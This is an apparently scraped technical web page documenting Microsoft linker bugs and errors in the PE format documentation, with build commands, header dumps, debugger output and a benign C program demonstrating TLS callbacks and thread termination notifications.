LINK.EXE /LINK /ENTRY:mainCRTStartup /EXPORT:mainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE /TEST blunder.obj kernel32.lib LINK.EXE /DUMP /IMPORTS blunder.exe
Microsoft (R) Incremental Linker Version 10.00.40219.386
Copyright (C) Microsoft Corporation.  All rights reserved.
LINK : file alignment: 512, section alignment: 4096
LINK : warning LNK4216: Exported entry point _mainCRTStartup
   Creating library blunder.lib and object blunder.exp
LINK : section '.sdata' (C0000040) merged into '.data' (C0000040)
LINK : section '.xdata' (40000040) merged into '.rdata' (40000040)
Microsoft (R) COFF/PE Dumper Version 10.00.40219.386
Copyright (C) Microsoft Corporation.  All rights reserved.
Dump of file blunder.exe
File Type: EXECUTABLE IMAGE
  Section contains the following imports:
    KERNEL32.dll
                402000 Import Address Table
                402030 Import Name Table
                     0 time date stamp
                     0 Index of first forwarder reference
                  119 ExitProcess
  Summary
        1000 .rdata
        1000 .reloc
        1000 .text
            Oops: the linker fails to print informative
            messages that it merges the .edata
            and .idata sections generated by
            itself into the .rdata section!
        �
LINK.EXE /LINK /ENTRY:mainCRTStartup /EXPORT:mainCRTStartup /NODEFAULTLIB /NOOPTIDATA /SUBSYSTEM:CONSOLE /TEST blunder.obj kernel32.lib LINK.EXE /DUMP /IMPORTS blunder.exe
Microsoft (R) Incremental Linker Version 10.00.40219.386
Copyright (C) Microsoft Corporation.  All rights reserved.
LINK : file alignment: 512, section alignment: 4096
LINK : warning LNK4216: Exported entry point _mainCRTStartup
   Creating library blunder.lib and object blunder.exp
LINK : section '.sdata' (C0000040) merged into '.data' (C0000040)
LINK : section '.xdata' (40000040) merged into '.rdata' (40000040)
Microsoft (R) COFF/PE Dumper Version 10.00.40219.386
Copyright (C) Microsoft Corporation.  All rights reserved.
Dump of file blunder.exe
File Type: EXECUTABLE IMAGE
  Section contains the following imports:
    KERNEL32.dll
                403030 Import Address Table
                403028 Import Name Table
                     0 time date stamp
                     0 Index of first forwarder reference
                  119 ExitProcess
  Summary
        1000 .idata
        1000 .rdata
        1000 .reloc
        1000 .text
            Note: with the undocumented
            /NOOPTIDATA
            linker option
            the .idata section is not merged
            into the .rdata section!
         Note: there exists but no corresponding
            /NOOPTEDATA
            linker option
            to disable merging of the .edata
            section into the .rdata
            section – use the /MERGE:.edata=.export
            linker option
            to generate a separate .export section for the
            Export Directory instead.
        
Link.exe.
         Create the text file blunder.c with the following
            content in an arbitrary, preferable empty directory:
        
// Copyleft © 2001-2025, Stefan Kanthak <stefan.kanthak@nexgo.de>
int	main(void)
{} Compile and link the source file blunder.c created in
            step 1. using the undocumented
            /ALTERNATENAME:‹alternate name›=‹existing name›
            linker option:
        
SET CL=/W4 /X /Zl SET LINK=/ALTERNATENAME:_wmainCRTStartup=_main /BREPRO /FIXED /MANIFEST /MAP /NODEFAULTLIB /RELEASE CL.EXE blunder.cNote: the command lines can be copied and pasted as block into a Command Processor window.
Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86 Copyright (C) Microsoft Corporation. All rights reserved. blunder.c Microsoft (R) Incremental Linker Version 10.00.40219.386 Copyright (C) Microsoft Corporation. All rights reserved. /ALTERNATENAME:_mainCRTStartup=_main /BREPRO /FIXED /MAP /MANIFEST /NODEFAULTLIB /RELEASE /out:blunder.exe blunder.obj
 Display the
            application manifest
            blunder.exe.manifest created in step 2. to show
            the quirk:
        
TYPE blunder.exe.manifest
<?xml version='1.0' encoding='UTF-8' standalone='yes'?> <assembly xmlns='urn:schemas-microsoft-com:asm.v1' manifestVersion='1.0'> <trustInfo xmlns="urn:schemas-microsoft-com:asm.v3"> <security> <requestedPrivileges> <requestedExecutionLevel level='asInvoker' uiAccess='false' /> </requestedPrivileges> </security> </trustInfo> </assembly>Oops: I suppose there must be a really compelling reason to mix single and double quotes in the generated manifest!
 Display the linker map file blunder.map and the headers
            of the console application blunder.exe built in
            step 2. to show the bug:
        
TYPE blunder.map LINK.EXE /DUMP /HEADERS blunder.exe
blunder Timestamp is ffffffff (Sun Feb 07 07:28:15 2106) Preferred load address is 00400000 Start Length Name Class 0001:00000000 00000007H .text CODE Address Publics by Value Rva+Base Lib:Object 0000:00000000 ___safe_se_handler_count 00000000 <absolute> 0000:00000000 ___safe_se_handler_table 00000000 <absolute> 0001:00000000 _mainCRTStartup 00401000 f blunder.obj 0001:00000000 _main 00401000 f blunder.obj entry point at 0001:00000000 Static symbols Microsoft (R) COFF/PE Dumper Version 10.00.40219.386 Copyright (C) Microsoft Corporation. All rights reserved. Dump of file blunder.exe PE signature found File Type: EXECUTABLE IMAGE FILE HEADER VALUES 14C machine (x86) 1 number of sections FFFFFFFF time date stamp Sun Feb 07 07:28:15 2106 0 file pointer to symbol table 0 number of symbols E0 size of optional header 103 characteristics Relocations stripped Executable 32 bit word machine OPTIONAL HEADER VALUES 10B magic # (PE32) 10.00 linker version 200 size of code 0 size of initialized data 0 size of uninitialized data 8 entry point (00400008) 1000 base of code 2000 base of data 400000 image base (00400000 to 00401FFF) […]OUCH: while the linker map shows the entry point as expected at the address 0x00401000 of the
main()
            function, the header dump shows it but inside the non-executable
            DOS header, i.e. the
            console application blunder.exe will crash upon start
            with an execute access violation!
         (Optional) If you have the
            Debugging Tools for Windows
            installed, execute the console application blunder.exe
            built in step 2. under the debugger:
        
CDB.EXE /C g;q /G /g .\blunder.exeNote: if necessary, see the MSDN articles Debugging Using CDB and NTSD and CDB Command-Line Options for an introduction.
Microsoft (R) Windows Debugger Version 6.11.0001.404 X86 Copyright (c) Microsoft Corporation. All rights reserved. CommandLine: .\blunder.exe Symbol search path is: srv* Executable search path is: ModLoad: 00400000 00402000 image00400000 ModLoad: 779c0000 77b40000 ntdll.dll ModLoad: 75610000 75720000 C:\Windows\syswow64\kernel32.dll ModLoad: 752d0000 75317000 C:\Windows\syswow64\KERNELBASE.dll ModLoad: 75540000 755e1000 C:\Windows\syswow64\ADVAPI32.DLL ModLoad: 757a0000 7584c000 C:\Windows\syswow64\msvcrt.dll ModLoad: 77420000 77439000 C:\Windows\SysWOW64\sechost.dll ModLoad: 77300000 773f0000 C:\Windows\syswow64\RPCRT4.dll ModLoad: 750e0000 75140000 C:\Windows\syswow64\SspiCli.dll ModLoad: 750d0000 750dc000 C:\Windows\syswow64\CRYPTBASE.dll (a34.149c): Access violation - code c0000005 (first chance) First chance exceptions are reported before any exception handling. This exception may be expected and handled. eax=7562342b ebx=7efde000 ecx=00000000 edx=00400008 esi=00000000 edi=00000000 eip=00400008 esp=000dff8c ebp=000dff94 iopl=0 nv up ei pl zr na pe nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010246 *** ERROR: Module load completed but symbols could not be loaded for image00400000 image00400000+0x8: 00400008 0400 add al,0 0:000:x86> cdb: Reading initial command 'g;q' (a34.149c): Access violation - code c0000005 (!!! second chance !!!) quit:
Microsoft (R) Windows Debugger Version 6.1.7601.17514 AMD64 Copyright (c) Microsoft Corporation. All rights reserved. CommandLine: .\blunder.exe Symbol search path is: srv* Executable search path is: ModLoad: 00000001`40000000 00000001`40002000 image00000001`40000000 ModLoad: 00000000`77800000 00000000`7799f000 ntdll.dll ModLoad: 00000000`775e0000 00000000`776ff000 C:\Windows\system32\kernel32.dll ModLoad: 000007fe`fd510000 000007fe`fd577000 C:\Windows\system32\KERNELBASE.dll ModLoad: 000007fe`fd980000 000007fe`fda5b000 C:\Windows\system32\ADVAPI32.DLL ModLoad: 000007fe`fe1c0000 000007fe`fe25f000 C:\Windows\system32\msvcrt.dll ModLoad: 000007fe`fe260000 000007fe`fe27f000 C:\Windows\SYSTEM32\sechost.dll ModLoad: 000007fe`ff250000 000007fe`ff37c000 C:\Windows\system32\RPCRT4.dll (5080.5100): Access violation - code c0000005 (first chance) First chance exceptions are reported before any exception handling. This exception may be expected and handled. *** ERROR: Module load completed but symbols could not be loaded for image00000001`40000000 image00000001_40000000+0x7: 00000001`40000007 000400 add byte ptr [rax+rax],al ds:00000000`eebeaac0=?? 0:000> cdb: Reading initial command 'g;q' (5080.5100): Access violation - code c0000005 (!!! second chance !!!) quit:
The Load Configuration Structure (Image Only)section:
The load configuration structure (IMAGE_LOAD_CONFIG_DIRECTORY) was formerly used in very limited cases in the Windows NT operating system itself to describe various features too difficult or too large to describe in the file header or optional header of the image. Current versions of the Microsoft linker and Windows XP and later versions of Windows use a new version of this structure for 32-bit x86-based systems that include reserved SEH technology.OUCH¹: the highlighted statement of this documentation is but misleading and wrong –
[…]
The Microsoft linker automatically provides a default load configuration structure to include the reserved SEH data. If the user code already provides a load configuration structure, it must include the new reserved SEH fields. Otherwise, the linker cannot include the reserved SEH data and the image is not marked as containing reserved SEH.
LINK.exe
            neither provides an
            IMAGE_LOAD_CONFIG_DIRECTORY
            structure nor reports its omission with an error message!
        The documentation for the /SAFESEH linker option provides the correct information:
If you link withThe specification of the PE Format continues with the following disinformation:/NODEFAULTLIBand you want a table of safe exception handlers, you need to supply a load config struct (…) that contains all the entries defined for Visual C++. For example:#include <windows.h> extern DWORD_PTR __security_cookie; /* /GS security cookie */ /* * The following two names are automatically created by the linker for any * image that has the safe exception table present. */ extern PVOID __safe_se_handler_table[]; /* base of safe handler entry table */ extern BYTE __safe_se_handler_count; /* absolute symbol whose address is the count of table entries */ const IMAGE_LOAD_CONFIG_DIRECTORY32 _load_config_used = { sizeof(IMAGE_LOAD_CONFIG_DIRECTORY32), 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, &__security_cookie, __safe_se_handler_table, (DWORD)(DWORD_PTR) &__safe_se_handler_count };
Load Configuration LayoutOUCH²: the documentation for theThe load configuration structure has the following layout for 32-bit and 64-bit PE files:
Offset Size Field Description 0 4 Characteristics Flags that indicate attributes of the file, currently unused. … … … … 54/78 2 Reserved Must be zero. 
IMAGE_LOAD_CONFIG_DIRECTORY
            structure but states that the field at offset 0 stores the size of
            the structure, and the field at offset 54 (for 32-bit images) or 78
            (for 64-bit images) stores the
            /DEPENDENTLOADFLAG!
        The .tls section:
The .tls section provides direct PE and COFF support for static thread local storage (TLS). […] a static TLS variable can be defined as follows, without using the Windows API:Ouch: even the very first (highlighted) statement of this documentation is misleading and wrong – support for TLS is enabled with the
__declspec (thread) int tlsFlag = 1;To support this programming construct, the PE and COFF .tls section specifies the following information: initialization data, callback routines for per-thread initialization and termination, and the TLS index, which are explained in the following discussion.
Note
Statically declared TLS data objects can be used only in statically loaded image files. This fact makes it unreliable to use static TLS data in a DLL unless you know that the DLL, or anything statically linked with it, will never be loaded dynamically with the LoadLibrary API function.
Executable code accesses a static TLS data object through the following steps:
At link time, the linker sets the Address of Index field of the TLS directory. This field points to a location where the program expects to receive the TLS index.
The Microsoft run-time library facilitates this process by defining a memory image of the TLS directory and giving it the special name "__tls_used" (Intel x86 platforms) or "_tls_used" (other platforms). The linker looks for this memory image and uses the data there to create the TLS directory. Other compilers that support TLS and work with the Microsoft linker must use this same technique.
When a thread is created, the loader communicates the address of the thread's TLS array by placing the address of the thread environment block (TEB) in the FS register. A pointer to the TLS array is at the offset of 0x2C from the beginning of TEB. This behavior is Intel x86-specific.
The loader assigns the value of the TLS index to the place that was indicated by the Address of Index field.
The executable code retrieves the TLS index and also the location of the TLS array.
The code uses the TLS index and the TLS array location (multiplying the index by 4 and using it as an offset to the array) to get the address of the TLS data area for the given program and module. Each thread has its own TLS data area, but this is transparent to the program, which does not need to know how data is allocated for individual threads.
An individual TLS data object is accessed as some fixed offset into the TLS data area.
IMAGE_TLS_DIRECTORY structure which provides the
            addresses of the initialisation data, the index and the callback
            function pointer list, and is addressed in the tenth entry of the
            IMAGE_DATA_DIRECTORY
            array in the
            IMAGE_OPTIONAL_HEADER
            structure!
         Note: the .tls section is required
            only when TLS data
            is initialised – it is not needed when data is just declared.
        
Ouch: the initial note is but obsolete and wrong – Windows Vista and later versions of Windows NT support static TLS data in dynamically loaded DLLs!
Note: the multiplier 4 is of course only correct for 32-bit platforms – 64-bit platforms require the multiplier 8.
The documentation misses the following part for the x64 alias AMD64 processor architecture (and corresponding parts for other processor architectures as well):
Note: on the i386 alias x86 platform, the Visual C compiler references (the absolute address of) the external symbol
When a thread is created, the loader communicates the address of the thread's TLS array by placing the address of the thread environment block (TEB) in the GS register. A pointer to the TLS array is at the offset of 0x58 from the beginning of the TEB. This behavior is Intel x64-specific.
__tls_array despite the fixed value of this offset.
        The specification of the PE Format continues:
OOPS: theThe TLS directory has the following format:
Offset (PE32/PE32+) Size (PE32/PE32+) Field Description 0 4/8 Raw Data Start VA The starting address of the TLS template. The template is a block of data that is used to initialize TLS data. The system copies all of this data each time a thread is created, so it must not be corrupted. Note that this address is not an RVA; it is an address for which there should be a base relocation in the .reloc section. 4/8 4/8 Raw Data End VA The address of the last byte of the TLS, except for the zero fill. As with the Raw Data Start VA field, this is a VA, not an RVA. 8/16 4/8 Address of Index The location to receive the TLS index, which the loader assigns. This location is in an ordinary data section, so it can be given a symbolic name that is accessible to the program. 12/24 4/8 Address of Callbacks The pointer to an array of TLS callback functions. The array is null-terminated, so if no callback function is supported, this field points to 4 bytes set to zero. For information about the prototype for these functions, see TLS Callback Functions. 16/32 4 Size of Zero Fill The size in bytes of the template, beyond the initialized data delimited by the Raw Data Start VA and Raw Data End VA fields. The total template size should be the same as the total size of TLS data in the image file. The zero fill is the amount of data that comes after the initialized nonzero data. 20/36 4 Characteristics The four bits [23:20] describe alignment info. Possible values are those defined as IMAGE_SCN_ALIGN_*, which are also used to describe alignment of section in object files. The other 28 bits are reserved for future use. 
Raw Data End VAfield contains the address of the first byte after the TLS template!
 OUCH: the Size of Zero Fill
 field is
            not supported at all!
        
 Note: if the size of the initialised data for the
            .tls section in the image file is less than the section
            size, the module loader fills the additional uninitialised data with
            zeroes, i.e. the Size of Zero Fill
 field is superfluous.
        
 Caveat: the documentation lacks the information
            that the Visual C compiler puts all data for the
            TLS template in
            COFF sections
            .tls$‹suffix› – which it declares
            but writable instead of read-only
, i.e. it
            fails to protect the template data against corruption, an easily
            avoidable safety and security hazard!
        
The specification of the PE Format continues:
The program can provide one or more TLS callback functions […]The prototype for a callback function (pointed to by a pointer of type PIMAGE_TLS_CALLBACK) has the same parameters as a DLL entry-point function:
typedef VOID (NTAPI *PIMAGE_TLS_CALLBACK) ( PVOID DllHandle, DWORD Reason, PVOID Reserved );The Reserved parameter should be set to zero. The Reason parameter can take the following values:
Setting Value Description DLL_PROCESS_ATTACH 1 A new process has started, including the first thread. DLL_THREAD_ATTACH 2 A new thread has been created. This notification sent for all but the first thread. DLL_THREAD_DETACH 3 A thread is about to be terminated. This notification sent for all but the first thread. DLL_PROCESS_DETACH 0 A process is about to terminate, including the original thread. 
/SECTION:.tls,r
            linker option
            to set the .tls section read-only.
ExitThread()
            states:
        Ends the calling thread.OUCH¹: contrary to the highlighted statement of this documentation, the entry-point function of any DLL is only called unless disabled with a prior call of[…]
When this function is called (either explicitly or by returning from a thread procedure), […] The entry-point function of all attached dynamic-link libraries (DLLs) is invoked with a value indicating that the thread is detaching from the DLL.
[…]
Use the GetExitCodeThread function to retrieve a thread's exit code.
DisableThreadLibraryCalls()
            for the respective
            DLL!
         The documentation for the Win32 function
            ExitProcess()
            states:
        
Ends the calling process and all its threads.OUCH²: both documentations cited above but fail to tell that the TLS Callback Functions of all loaded DLLs as well as those of the program itself are called with[…]
Use the GetExitCodeProcess function to retrieve the process's exit value. Use the GetExitCodeThread function to retrieve a thread's exit value.
Exiting a process causes the following:
- All of the threads in the process, except the calling thread, terminate their execution without receiving a DLL_THREAD_DETACH notification.
- The states of all of the threads terminated in step 1 become signaled.
- The entry-point functions of all loaded dynamic-link libraries (DLLs) are called with DLL_PROCESS_DETACH.
- After all attached DLLs have executed any process termination code, the ExitProcess function terminates the current process, including the calling thread.
- The state of the calling thread becomes signaled.
- All of the object handles opened by the process are closed.
- The termination status of the process changes from STILL_ACTIVE to the exit value of the process.
- The state of the process object becomes signaled, satisfying any threads that had been waiting for the process to terminate.
DLL_THREAD_DETACH during normal thread termination and
            DLL_PROCESS_DETACH during normal process termination!
            Terminating a Process
            Terminating a Thread
            Thread Local Storage (TLS)
         The documentation for the Win32 function
            GetExitCodeProcess()
            states:
        
Retrieves the termination status of the specified process.OUCH³: the (default) entry points of Win32 applications are[…] If the process has not terminated and the function succeeds, the status returned is STILL_ACTIVE (a macro for STATUS_PENDING). If the process has terminated and the function succeeds, the status returned is one of the following values:
- The exit value specified in the ExitProcess or TerminateProcess function.
- The return value from the main or WinMain function of the process.
- The exception value for an unhandled exception that caused the process to terminate.
mainCRTStartup,
            wmainCRTStartup, WinMainCRTStartup and
            wWinMainCRTStartup – main and
            WinMain are superfluous artifacts
            called from the
            MSVCRT
            libraries!
         The documentation for the Win32 function
            GetExitCodeThread()
            states:
        
Retrieves the termination status of the specified thread.[…] If the specified thread has not terminated and the function succeeds, the status returned is STILL_ACTIVE. If the thread has terminated and the function succeeds, the status returned is one of the following values:
- The exit value specified in the ExitThread or TerminateThread function.
- The return value from the thread function.
- The exit value of the thread's process.
 Create the text file blunder.c with the following
            content in an arbitrary, preferable empty directory:
        
// Copyright © 2004-2025, Stefan Kanthak <stefan.kanthak@nexgo.de>
#define STRICT
#define UNICODE
#define WIN32_LEAN_AND_MEAN
#include <windows.h>
__declspec(safebuffers)
BOOL	CDECL	PrintConsole(HANDLE hConsole, [SA_FormatString(Style="printf")] LPCWSTR lpFormat, ...)
{
	WCHAR	szOutput[1025];
	DWORD	dwOutput;
	DWORD	dwConsole;
	va_list	vaInput;
	va_start(vaInput, lpFormat);
	dwOutput = wvsprintf(szOutput, lpFormat, vaInput);
	va_end(vaInput);
	if (dwOutput == 0UL)
		return FALSE;
	if (!WriteConsole(hConsole, szOutput, dwOutput, &dwConsole, NULL))
		return FALSE;
	return dwConsole == dwOutput;
}
const	LPCWSTR	szReason[4] = {L"process detach",
		               L"process attach",
		               L"thread attach",
		               L"thread detach"};
__declspec(safebuffers)
VOID	WINAPI	TLSCallback(HMODULE hModule, DWORD dwReason, LPVOID lpUnused)
{
	WCHAR	szModule[MAX_PATH];
	DWORD	dwModule = GetModuleFileName(hModule,
		                             szModule,
		                             sizeof(szModule) / sizeof(*szModule));
	HMODULE	hCaller;
	WCHAR	szCaller[MAX_PATH];
	DWORD	dwCaller;
	DWORD	dwProcess;
	DWORD	dwThread;
	DWORD	dwThreadId = GetCurrentThreadId();
	HANDLE	hError = GetStdHandle(STD_ERROR_HANDLE);
	if (hError == INVALID_HANDLE_VALUE)
		return;
	if (dwModule < sizeof(szModule) / sizeof(*szModule))
		szModule[dwModule] = L'\0';
	if (GetModuleHandleEx(GET_MODULE_HANDLE_EX_FLAG_FROM_ADDRESS | GET_MODULE_HANDLE_EX_FLAG_UNCHANGED_REFCOUNT,
	                      _ReturnAddress(),
	                      &hCaller))
	{
		dwCaller = GetModuleFileName(hCaller,
		                             szCaller,
		                             sizeof(szCaller) / sizeof(*szCaller));
		if (dwCaller < sizeof(szCaller) / sizeof(*szCaller))
			szCaller[dwCaller] = L'\0';
	}
	else
		szCaller[0] = L'\0';
	GetExitCodeThread(GetCurrentThread(), &dwThread);
	GetExitCodeProcess(GetCurrentProcess(), &dwProcess);
	PrintConsole(hError,
	             L"\n"
	             __LPREFIX(__FUNCTION__) L"() function @ 0x%p\n"
	             L"\tCalled module  @ 0x%p = %ls\n"
	             L"\tCalling module @ 0x%p = %ls\n"
	             L"\tReturn address @ 0x%p = 0x%p\n"
	             L"\tArguments:\n"
	             L"\t\tModule = 0x%p\n"
	             L"\t\tReason = %lu (%ls)\n"
	             L"\t\tUnused = 0x%p\n"
	             L"\tThread id = %lu\n"
	             L"\tThread exit code = %ld\n"
	             L"\tProcess exit code = %ld\n",
	             TLSCallback,
	             hModule, szModule,
	             hCaller, szCaller,
	             _AddressOfReturnAddress(), _ReturnAddress(),
	             hModule, dwReason, szReason[dwReason], lpUnused,
	             dwThreadId,
	             dwThread,
	             dwProcess);
}
DWORD	_tls_index = 'VOID';	// NOTE: assigned by the module loader!
const	PIMAGE_TLS_CALLBACK	_tls_callbacks[] = {TLSCallback, NULL};
// BUG: the module loader discards the 'SizeOfZeroFill' member!
const	IMAGE_TLS_DIRECTORY	_tls_used = {NULL,
				             NULL,
				             &_tls_index,
				             _tls_callbacks,
				             'VOID',
				             IMAGE_SCN_ALIGN_16BYTES};
extern	const	IMAGE_DOS_HEADER	__ImageBase;
__declspec(safebuffers)
DWORD	WINAPI	ThreadProc(LPVOID lpParameter)
{
	WCHAR	szModule[MAX_PATH];
	DWORD	dwModule;
	WCHAR	szCaller[MAX_PATH];
	DWORD	dwCaller;
	HMODULE	hCaller;
	HANDLE	hError = GetStdHandle(STD_ERROR_HANDLE);
	if (hError != INVALID_HANDLE_VALUE)
	{
		dwModule = GetModuleFileName((HMODULE) &__ImageBase,
		                             szModule,
		                             sizeof(szModule) / sizeof(*szModule));
		if (dwModule < sizeof(szModule) / sizeof(*szModule))
			szModule[dwModule] = L'\0';
		if (GetModuleHandleEx(GET_MODULE_HANDLE_EX_FLAG_FROM_ADDRESS | GET_MODULE_HANDLE_EX_FLAG_UNCHANGED_REFCOUNT,
		                      _ReturnAddress(),
		                      &hCaller))
		{
			dwCaller = GetModuleFileName(hCaller,
			                             szCaller,
			                             sizeof(szCaller) / sizeof(*szCaller));
			if (dwCaller < sizeof(szCaller) / sizeof(*szCaller))
				szCaller[dwCaller] = L'\0';
		}
		else
			szCaller[0] = L'\0';
		PrintConsole(hError,
		             L"\n"
		             __LPREFIX(__FUNCTION__) L"() function @ 0x%p\n"
		             L"\tCalled module  @ 0x%p = %ls\n"
		             L"\tCalling module @ 0x%p = %ls\n"
		             L"\tReturn address @ 0x%p = 0x%p\n"
		             L"\tParameter = 0x%p\n"
		             L"\tThread id = %lu\n",
		             ThreadProc,
		             &__ImageBase, szModule,
		             hCaller, szCaller,
		             _AddressOfReturnAddress(), _ReturnAddress(),
		             lpParameter,
		             GetCurrentThreadId());
	}
	if (lpParameter == NULL)
		return 'NULL';
	ExitProcess(WaitForSingleObject(INVALID_HANDLE_VALUE, 123));
}
#ifdef _DLL
__declspec(safebuffers)
BOOL	WINAPI	_DllMainCRTStartup(HMODULE hModule, DWORD dwReason, LPVOID lpContext)
{
	WCHAR	szModule[MAX_PATH];
	DWORD	dwModule = GetModuleFileName(hModule,
		                             szModule,
		                             sizeof(szModule) / sizeof(*szModule));
	HMODULE	hCaller;
	WCHAR	szCaller[MAX_PATH];
	DWORD	dwCaller;
	DWORD	dwThreadId = GetCurrentThreadId();
	HANDLE	hThread;
	HANDLE	hConsole = GetConsoleWindow();
	if (hConsole == NULL)
		return FALSE;
	hConsole = GetStdHandle(STD_ERROR_HANDLE);
	if (hConsole == INVALID_HANDLE_VALUE)
		return FALSE;
	if (dwModule < sizeof(szModule) / sizeof(*szModule))
		szModule[dwModule] = L'\0';
	if (GetModuleHandleEx(GET_MODULE_HANDLE_EX_FLAG_FROM_ADDRESS | GET_MODULE_HANDLE_EX_FLAG_UNCHANGED_REFCOUNT,
	                      _ReturnAddress(),
	                      &hCaller))
	{
		dwCaller = GetModuleFileName(hCaller,
		                             szCaller,
		                             sizeof(szCaller) / sizeof(*szCaller));
		if (dwCaller < sizeof(szCaller) / sizeof(*szCaller))
			szCaller[dwCaller] = L'\0';
	}
	else
		szCaller[0] = L'\0';
	PrintConsole(hConsole,
	             L"\n"
	             __LPREFIX(__FUNCTION__) L"() function @ 0x%p\n"
	             L"\tCalled module  @ 0x%p = %ls\n"
	             L"\tCalling module @ 0x%p = %ls\n"
	             L"\tReturn address @ 0x%p = 0x%p\n"
	             L"\tArguments:\n"
	             L"\t\tModule = 0x%p\n"
	             L"\t\tReason = %lu (%ls)\n"
	             L"\t\tContext = 0x%p\n"
	             L"\tThread id = %lu\n"
	             L"\tTLS index = %ld\n"
	             L"\tTLS value = 0x%p\n"
	             L"\tTLS array @ 0x%p\n"
	             L"\tTLS block @ 0x%p\n",
	             _DllMainCRTStartup,
	             hModule, szModule,
	             hCaller, szCaller,
	             _AddressOfReturnAddress(), _ReturnAddress(),
	             hModule, dwReason, szReason[dwReason], lpContext,
	             dwThreadId,
	             _tls_index,
	             TlsGetValue(_tls_index),
#ifdef _M_IX86
	             __readfsdword(44),
	             ((LPVOID *) __readfsdword(44))[_tls_index]);
#elif _M_AMD64
	             __readgsqword(88),
	             ((LPVOID *) __readgsqword(88))[_tls_index]);
#else
#error Only I386 and AMD64 supported!
#endif
	if (dwReason != DLL_PROCESS_ATTACH)
		return FALSE;
	hThread = CreateThread((LPSECURITY_ATTRIBUTES) NULL,
	                       (SIZE_T) 65536,
	                       ThreadProc,
	                       NULL,
	                       0UL,
	                       &dwThreadId);
	if (hThread == NULL)
		PrintConsole(hConsole,
		             L"CreateThread() returned error %lu\n",
		             GetLastError());
	else
	{
		PrintConsole(hConsole,
		             L"\n"
		             L"Thread %lu created and started\n",
		             dwThreadId);
		if (!CloseHandle(hThread))
			PrintConsole(hConsole,
			             L"CloseHandle() returned error %lu\n",
			             GetLastError());
	}
	return TRUE;
}
__declspec(dllexport)
const	WCHAR	Blunder[] = L"Blunder";
#else // _DLL
__declspec(dllimport)
extern	WCHAR	Blunder[];
__declspec(noreturn)
VOID	CDECL	wmainCRTStartup(VOID)
{
	WCHAR	szModule[MAX_PATH];
	DWORD	dwModule;
	DWORD	dwError = ERROR_SUCCESS;
	HMODULE	hCaller;
	WCHAR	szCaller[MAX_PATH];
	DWORD	dwCaller;
	DWORD	dwThreadId = GetCurrentThreadId();
	DWORD	dwThread;
	HANDLE	hThread;
	HANDLE	hError = GetStdHandle(STD_ERROR_HANDLE);
	if (hError == INVALID_HANDLE_VALUE)
		dwError = GetLastError();
	else
	{
		dwModule = GetModuleFileName((HMODULE) NULL,
		                             szModule,
		                             sizeof(szModule) / sizeof(*szModule));
		if (dwModule < sizeof(szModule) / sizeof(*szModule))
			szModule[dwModule] = L'\0';
		if (GetModuleHandleEx(GET_MODULE_HANDLE_EX_FLAG_FROM_ADDRESS | GET_MODULE_HANDLE_EX_FLAG_UNCHANGED_REFCOUNT,
		                      _ReturnAddress(),
		                      &hCaller))
		{
			dwCaller = GetModuleFileName(hCaller,
			                             szCaller,
			                             sizeof(szCaller) / sizeof(*szCaller));
			if (dwCaller < sizeof(szCaller) / sizeof(*szCaller))
				szCaller[dwCaller] = L'\0';
		}
		else
			szCaller[0] = L'\0';
		PrintConsole(hError,
		             L"\n"
		             __LPREFIX(__FUNCTION__) L"() function @ 0x%p\n"
		             L"\tCalled module  @ 0x%p = %ls\n"
		             L"\tCalling module @ 0x%p = %ls\n"
		             L"\tReturn address @ 0x%p = 0x%p\n"
		             L"\n"
		             L"\tThread id = %lu\n"
		             L"\tTLS index = %ld\n"
		             L"\tTLS value = 0x%p\n"
		             L"\tTLS array @ 0x%p\n"
		             L"\tTLS block @ 0x%p\n",
		             wmainCRTStartup,
		             &__ImageBase, szModule,
		             hCaller, szCaller,
		             _AddressOfReturnAddress(), _ReturnAddress(),
		             dwThreadId,
		             _tls_index,
		             TlsGetValue(_tls_index),
#ifdef _M_IX86
		             __readfsdword(44),
		             ((LPVOID *) __readfsdword(44))[_tls_index]);
#elif _M_AMD64
		             __readgsqword(88),
		             ((LPVOID *) __readgsqword(88))[_tls_index]);
#else
#error Only I386 and AMD64 supported!
#endif
		hThread = CreateThread((LPSECURITY_ATTRIBUTES) NULL,
		                       (SIZE_T) 65536,
		                       ThreadProc,
		                       Blunder,
		                       0UL,
		                       &dwThreadId);
		if (hThread == NULL)
			PrintConsole(hError,
			             L"CreateThread() returned error %lu\n",
			             dwError = GetLastError());
		else
		{
			PrintConsole(hError,
			             L"\n"
			             L"Thread %lu created and started\n",
			             dwThreadId);
			if (WaitForSingleObject(hThread, INFINITE) == WAIT_FAILED)
				PrintConsole(hError,
				             L"WaitForSingleObject() returned error %lu\n",
				             dwError = GetLastError());
			if (!GetExitCodeThread(hThread, &dwThread))
				PrintConsole(hError,
				             L"GetExitCodeThread() returned error %lu\n",
				             dwError = GetLastError());
			else
				PrintConsole(hError,
				             L"\n"
				             L"Thread %lu exited with code %lu\n",
				             dwThreadId, dwThread);
			if (!CloseHandle(hThread))
				PrintConsole(hError,
				             L"CloseHandle() returned error %lu\n",
				             GetLastError());
		}
		if (WaitForSingleObject(GetCurrentThread(), INFINITE) == WAIT_FAILED)
			PrintConsole(hError,
			             L"WaitForSingleObject() returned error %lu\n",
			             dwError = GetLastError());
	}
	ExitProcess(dwError);
}
#endif // _DLL Compile and link the source file blunder.c created in
            step 1. a first time to build the
            DLL
            blunder.dll and its import library
            blunder.lib:
        
SET CL=/GF /W4 /Zl SET LINK=/NODEFAULTLIB CL.EXE /LD /MD blunder.c kernel32.lib user32.libFor details and reference see the MSDN articles Compiler Options and Linker Options.
Note: if necessary, see the MSDN article Use the Microsoft C++ toolset from the command line for an introduction.
 Note: blunder.dll is a pure
            Win32
            DLL
            and builds without the
            MSVCRT
            libraries.
        
Note: the command lines can be copied and pasted as block into a Command Processor window.
